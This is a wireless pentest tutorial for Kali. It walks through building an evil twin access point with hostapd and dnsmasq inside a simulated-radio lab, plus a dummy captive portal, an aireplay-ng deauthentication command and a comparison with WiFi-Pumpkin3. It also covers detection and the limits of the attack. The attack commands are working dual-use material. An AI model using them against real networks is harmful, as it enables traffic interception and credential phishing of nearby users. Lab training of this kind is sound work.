Evil Twin WiFi Attack: Build a Rogue AP and Captive Portal

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package hostapd 2:2.10-25+b2, dnsmasq 2.93-1, aircrack-ng 1:1.7+git20230807.4bf83f1a-3, wifipumpkin3 1.1.7-0kali3, iw 6.17-1
Lab environment Pentest lab
Cert prep CompTIA PenTest+ PT0-003: rogue AP, captive portal, and wireless client association behavior
Privilege sudo for module load, hostapd, dnsmasq, monitor mode, and local portal binds
Scope Manual evil twin with hostapd + dnsmasq + lab portal page; optional WiFi-Pumpkin3 comparison. Not WPA handshake cracking, not same-PSK WPA2 honeypot deep-dive, not real-brand phishing pages.
Short on time?Beta Get the gist of this 12-minute read in seconds, then ask follow-up questions

An evil twin is an unauthorized access point built to resemble a legitimate wireless network. The tester tries to get a client to associate with that rogue AP. Once associated, the rogue path can hand out DHCP and DNS, present a lab portal page, and observe traffic that higher-layer encryption does not protect.

Copying an SSID alone does not guarantee that a modern client will automatically join the rogue AP. Saved security profiles, authentication type, OS roaming logic, and user choice all matter.

Primary workflow: hostapd + dnsmasq + a controlled local portal page.
Secondary: WiFi-Pumpkin3 as a short automation comparison (wifipumpkin3 1.1.7 on this Kali).

IMPORTANT
Run these steps only on networks you own or are authorized to test. Keep the lab on simulated radios or a dedicated lab SSID. Unauthorized wireless attacks are illegal. See rules of engagement.

Evil twin vs rogue AP vs MITM

Term Meaning
Rogue AP Any unauthorized access point in an environment
Evil twin A rogue AP that impersonates a legitimate network (same or look-alike SSID)
MITM / on-path A position where traffic flows through the tester after the client joins

An evil twin may create an on-path position after association. The terms overlap, but they are not identical. For ARP and TLS on-path details after you already control a link, see ARP spoofing and MITM.


How an evil twin attack works

text
Legitimate path:
  Victim  →  Real AP (BSSID A)  →  Network

Rogue path:
  Victim  →  Evil twin (BSSID B)  →  Attacker-controlled DHCP/DNS/portal

Typical sequence:

  1. Recon SSID, BSSID, channel, and security
  2. Advertise a look-alike AP
  3. Client chooses or joins the rogue AP (not always automatic)
  4. DHCP and DNS on the rogue subnet
  5. Portal page or controlled network access
  6. Observe what cleartext paths allow

Deauthentication is optional. It only creates a reconnection opportunity. It does not force the client onto BSSID B.


Why copying the SSID is not enough

Field What it is
SSID / ESSID Human-readable network name (GLC-WiFi here)
BSSID MAC of one specific AP radio
Security profile Open, WPA2-PSK, WPA3, Enterprise, and related settings

A saved WPA2 profile is not "connect to anything named CompanyWiFi." Many clients refuse an open AP that only shares the name of a secured network. Below you will see both BSSIDs advertise GLC-WiFi while the victim stays on WPA2 until you deliberately join the open twin.


Build the isolated wireless lab

You need four simulated radios. For a fuller mac80211_hwsim walkthrough, see capture and crack a WPA/WPA2 handshake.

Create the working directory:

bash
mkdir -p ~/evil-twin-lab/{portal,logs,captures}

Load four radios:

bash
sudo modprobe mac80211_hwsim radios=4

Keep NetworkManager off those interfaces:

bash
for i in wlan0 wlan1 wlan2 wlan3; do sudo nmcli device set "$i" managed no; done

Map them like this:

  • wlan0: legitimate AP
  • wlan1: victim client
  • wlan2: monitor / optional deauth
  • wlan3: evil twin AP

Create the legitimate access point

Start a WPA2-Personal AP so the victim has a real baseline association.

Write the config file:

bash
cat > ~/evil-twin-lab/hostapd-legit.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=GLC-WiFi
hw_mode=g
channel=6
wpa=2
wpa_passphrase=GLCwifi2026
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

Bring the AP interface up:

bash
sudo ip link set wlan0 up

Start hostapd in the background:

bash
sudo hostapd -B ~/evil-twin-lab/hostapd-legit.conf

Confirm the AP:

bash
iw dev wlan0 info
output
Interface wlan0
	addr 02:00:00:00:00:00
	ssid GLC-WiFi
	type AP
	channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz

BSSID A is 02:00:00:00:00:00. Connect the victim with a matching PSK profile:

bash
cat > ~/evil-twin-lab/wpa-victim.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
    ssid="GLC-WiFi"
    psk="GLCwifi2026"
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
}
EOF

Bring the client interface up:

bash
sudo ip link set wlan1 up

Start the client profile:

bash
sudo wpa_supplicant -B -i wlan1 -c ~/evil-twin-lab/wpa-victim.conf -f ~/evil-twin-lab/logs/wpa-legit.log

Confirm association to BSSID A:

bash
wpa_cli -i wlan1 status | grep -E 'bssid|ssid|key_mgmt|wpa_state'
output
bssid=02:00:00:00:00:00
ssid=GLC-WiFi
key_mgmt=WPA2-PSK
wpa_state=COMPLETED

Record SSID, BSSID A, channel 6, and WPA2-PSK before you clone anything.


Recon the legitimate AP

Put wlan2 in monitor mode on channel 6. You mainly need ESSID, BSSID, channel, encryption/authentication, and associated stations.

Take the monitor radio down before changing its type:

bash
sudo ip link set wlan2 down

Switch that radio to monitor mode:

bash
sudo iw dev wlan2 set type monitor

Bring the monitor interface back up:

bash
sudo ip link set wlan2 up

Lock the monitor radio to channel 6:

bash
sudo iw dev wlan2 set channel 6

Export the legitimate BSSID and station MAC:

bash
export BSSID_A=$(iw dev wlan0 info | awk '/addr/{print $2; exit}')

Pull the station MAC from the AP:

bash
export STA=$(sudo iw wlan0 station dump | awk '/Station/{print $2; exit}')

Print both values:

bash
echo "BSSID_A=$BSSID_A STA=$STA"
output
BSSID_A=02:00:00:00:00:00 STA=02:00:00:00:01:00

Create the rogue AP with hostapd

Bring up an open twin on wlan3 with the same SSID and a different BSSID. That models a look-alike hotspot a user might choose. It is not a guaranteed automatic migration from a saved WPA2 profile.

Write the twin config:

bash
cat > ~/evil-twin-lab/hostapd-twin.conf <<'EOF'
interface=wlan3
driver=nl80211
ssid=GLC-WiFi
hw_mode=g
channel=6
EOF

Bring the twin interface up:

bash
sudo ip link set wlan3 up

Start hostapd in the background:

bash
sudo hostapd -B ~/evil-twin-lab/hostapd-twin.conf

Confirm BSSID B:

bash
iw dev wlan3 info
output
Interface wlan3
	addr 02:00:00:00:03:00
	ssid GLC-WiFi
	type AP
	channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz

BSSID B is 02:00:00:00:03:00. Scan while the victim is still on WPA2:

bash
wpa_cli -i wlan1 scan

Read the scan table:

bash
wpa_cli -i wlan1 scan_results
output
bssid / frequency / signal level / flags / ssid
02:00:00:00:00:00	2437	-20	[WPA2-PSK-CCMP][ESS]	GLC-WiFi
02:00:00:00:03:00	2437	-20	[ESS]	GLC-WiFi

Same ESSID, two BSSIDs, different security. Victim status still shows key_mgmt=WPA2-PSK and BSSID A. A short airodump CSV shows the same split (WPA2 / PSK vs OPN).


Give clients network configuration with dnsmasq

hostapd handles 802.11. dnsmasq handles DHCP and DNS on the rogue subnet.

Add the rogue gateway address:

bash
sudo ip addr add 10.66.66.1/24 dev wlan3

Start dnsmasq for DHCP and DNS on the twin:

bash
sudo dnsmasq --interface=wlan3 --bind-interfaces --dhcp-range=10.66.66.50,10.66.66.150,12h --dhcp-option=3,10.66.66.1 --dhcp-option=6,10.66.66.1 --address=/#/10.66.66.1 --dhcp-leasefile=$HOME/evil-twin-lab/dnsmasq.leases --pid-file=$HOME/evil-twin-lab/dnsmasq.pid --conf-file=/dev/null --dhcp-authoritative

--address=/#/10.66.66.1 sends name lookups to the twin gateway. That only helps transparent captive behavior when something also answers standard HTTP (port 80) or redirects connectivity checks. This lab uses a deliberate portal URL instead.


Add a controlled captive portal

Serve a local page titled GLC Wireless Security Lab. Dummy branding only. Do not clone Google, Microsoft, bank, or corporate login pages. The goal is portal-page behavior on a rogue path, not phishing realism.

On this Kali host, binding a clean HTTP listener on 10.66.66.1:80 can collide with other host services. The reproducible lab page listens on port 8765:

Because this lab uses port 8765, DNS redirection alone will not transparently serve arbitrary http://example.com/ requests (browsers still aim at port 80). Open the portal URL manually. A production captive portal normally listens on, or redirects, standard HTTP connectivity checks.

Write a static HTML page:

bash
cat > ~/evil-twin-lab/portal/index.html <<'EOF'
<!DOCTYPE html>
<html>
<head><title>GLC Wireless Security Lab</title></head>
<body>
  <h1>GLC Wireless Security Lab</h1>
  <p>Lab-only portal page. Dummy fields only. Do not enter real credentials.</p>
  <form>
    <label>Username <input name="username"></label>
    <label>Password <input name="password" type="password"></label>
    <button type="button">Continue</button>
  </form>
</body>
</html>
EOF

Start a simple static server on the twin IP (leave this Terminal open):

bash
cd ~/evil-twin-lab/portal && sudo python3 -m http.server 8765 --bind 10.66.66.1

Join the open twin on purpose (still not automatic from the WPA2 save):

bash
cat > ~/evil-twin-lab/wpa-twin-open.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
    ssid="GLC-WiFi"
    key_mgmt=NONE
    bssid=02:00:00:00:03:00
}
EOF

Stop the previous WPA2 client on wlan1, then start the open twin profile:

bash
sudo kill $(pgrep -n -f 'wpa_supplicant -B -i wlan1') 2>/dev/null || true

Start the open twin client profile:

bash
sudo wpa_supplicant -B -i wlan1 -c ~/evil-twin-lab/wpa-twin-open.conf -f ~/evil-twin-lab/logs/wpa-twin.log

Confirm the victim is on BSSID B:

bash
iw dev wlan1 link
output
Connected to 02:00:00:00:03:00 (on wlan1)
	SSID: GLC-WiFi
	freq: 2437.0

Put the client on the rogue subnet (DHCP from dnsmasq, or a lab static if DHCP is busy on the host):

bash
sudo ip addr add 10.66.66.50/24 dev wlan1

Confirm the client address on the rogue subnet:

bash
ip -4 addr show wlan1
output
inet 10.66.66.50/24 scope global wlan1

Fetch the lab portal page:

bash
curl -sS http://10.66.66.1:8765/
output
<!DOCTYPE html>
<html>
<head><title>GLC Wireless Security Lab</title></head>
<body>
  <h1>GLC Wireless Security Lab</h1>
  <p>Lab-only portal page. Dummy fields only. Do not enter real credentials.</p>
  <form>
    <label>Username <input name="username"></label>
    <label>Password <input name="password" type="password"></label>
    <button type="button">Continue</button>
  </form>
</body>
</html>

That proves the portal page is reachable at the twin gateway URL. Because all hwsim interfaces share one Linux network namespace on this single-host lab, a curl from the same Kali host may show a loopback-style source address in some logs. Treat this as a portal-response proof, not perfect physical victim routing. True namespace separation is optional and out of scope here.

Modern OS captive detection probes known connectivity-check URLs. Do not assume every OS always pops a captive sheet. Manual URL open is expected for this 8765 lab.


Optional deauthentication transition

Directed deauth can knock the victim off BSSID A. It does not guarantee a join to BSSID B. Use it only when you want a reconnect opportunity, then still select the twin explicitly as above.

bash
sudo aireplay-ng -0 3 -a "$BSSID_A" -c "$STA" wlan2
output
00:19:16  Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 6
00:19:16  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:19:17  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:19:17  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]

For disconnect/reassociation state detail (BSSID A→B with same WPA2 security), use the WPA2 Wi-Fi honeypot article. Handshake capture after deauth belongs on the WPA handshake guide.


What traffic can an evil twin actually see?

Traffic What the rogue path can usually observe
DHCP Lease requests and offers
DNS Queries unless the client uses encrypted DNS end to end
HTTP Request/response content in cleartext
HTTPS DNS queries, destination IPs, and some TLS metadata may be observable depending on protocol and client behavior; HTTPS application content remains encrypted when certificate validation succeeds
SSH Encrypted session payload
VPN Application traffic protected inside the tunnel

Do not teach "evil twin means all passwords are visible." A VPN can protect application data even on a hostile Wi-Fi path once the tunnel is up. Deeper on-path TLS discussion belongs with MITM / ARP spoofing.


WiFi-Pumpkin3 vs manual hostapd setup

WiFi-Pumpkin3 bundles rogue AP helpers, DHCP/networking, captive modules, and related tooling. On this Kali install the package is wifipumpkin3 1.1.7-0kali3.

Check the version:

bash
wifipumpkin3 --version
output
wifipumpkin3 v1.1.7 branch: main

Launch against a twin-capable interface when you want the framework UI/CLI:

bash
sudo wifipumpkin3 -i wlan3
hostapd + dnsmasq + local portal WiFi-Pumpkin3
Clarity Each role is explicit Bundled modules
Reproducibility Easy to script and debug Depends on framework release
Features You wire what you need Portals and extras in one place
Failure mode Fix one daemon Module/UI regressions possible

Keep the manual path as the baseline. Use Pumpkin when the engagement wants integrated modules and you accept the dependency.


Why clients or captive portals fail

Common join problems:

  • Security type differs from the saved profile (open twin vs WPA2 save)
  • Client prefers the known BSSID
  • Twin not on the expected channel
  • DHCP on the twin fails after a join attempt
  • Network marked "do not auto-connect" or never selected
  • WPA3 / Protected Management Frames change authentication and classic deauth assumptions on modern networks

Common portal problems:

  • Client has no lease or wrong gateway
  • DNS points at the twin, but nothing answers port 80 for arbitrary hostnames
  • Browser opens HTTPS / HSTS URLs that never hit your HTTP lab page
  • You forgot the :8765 lab URL
  • WiFi-Pumpkin captive module misconfigured (fall back to this manual page)

How to detect an evil twin

Useful indicators:

  • Same SSID with an unfamiliar BSSID
  • Unexpected security downgrade (secured save vs open advertisement)
  • Unexpected captive portal on a network that never used one
  • Duplicate AP advertisements outside the authorized inventory
  • Certificate warnings on services that previously validated cleanly
  • WIDS / WIPS alerts on spoofed AP or unusual deauth storms

SSID duplication alone does not prove malice. Enterprise Wi-Fi routinely uses many BSSIDs for one SSID. Compare against an authorized AP inventory, channel plan, and security baseline.


Evil twin assessment checklist

Field Value
Legitimate SSID
Legitimate BSSID
Security
Channel
Victim profile
Rogue BSSID
Rogue security
Client joined automatic / manual
DHCP successful
Portal displayed
Traffic observed
TLS remained valid
Detection evidence

Summary

An evil twin is a look-alike rogue AP. Association is the hard part: same SSID does not equal automatic trust when security types differ. On the Kali mac80211_hwsim lab you bring up a real WPA2 AP, advertise an open twin with the same name, join the twin deliberately, take a rogue subnet address, and open a lab-only portal page on the twin gateway.

This page uses port 8765 for reproducibility, so treat the portal as a controlled demo URL rather than full transparent captive interception. Manual hostapd + dnsmasq stays the baseline; WiFi-Pumpkin3 1.1.7 is optional automation. What you can see after association depends on cleartext versus TLS/VPN. For deauth/reassociation depth and for handshake cracking, use the sibling wireless guides.


References


Frequently Asked Questions

Does the same SSID make a phone automatically connect to an evil twin?

No. Clients weigh saved security settings, BSSID history, roaming logic, and user choice. An open AP that only shares a WPA2 network name often will not be accepted automatically.

Is an evil twin the same as a MITM attack?

Not exactly. An evil twin is a look-alike rogue AP. After a client joins, the tester may be on-path. MITM describes that traffic position, not only the fake AP.

Can an evil twin see HTTPS passwords?

Not when TLS certificate validation succeeds. DNS queries, destination IPs, and some TLS metadata may still be observable. Application content stays encrypted.

Do I need deauthentication for an evil twin?

No. Deauth only creates a reconnection opportunity. The client still has to select a compatible AP afterward.

Does a VPN protect against an evil twin?

A VPN protects application traffic inside the tunnel after it is up. It does not stop the client from joining a rogue AP or opening a portal page before the VPN starts.

Should I use WiFi-Pumpkin3 instead of hostapd?

Use Pumpkin when you want bundled modules. Keep the manual hostapd and dnsmasq path as the baseline you can still reproduce when the framework changes.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)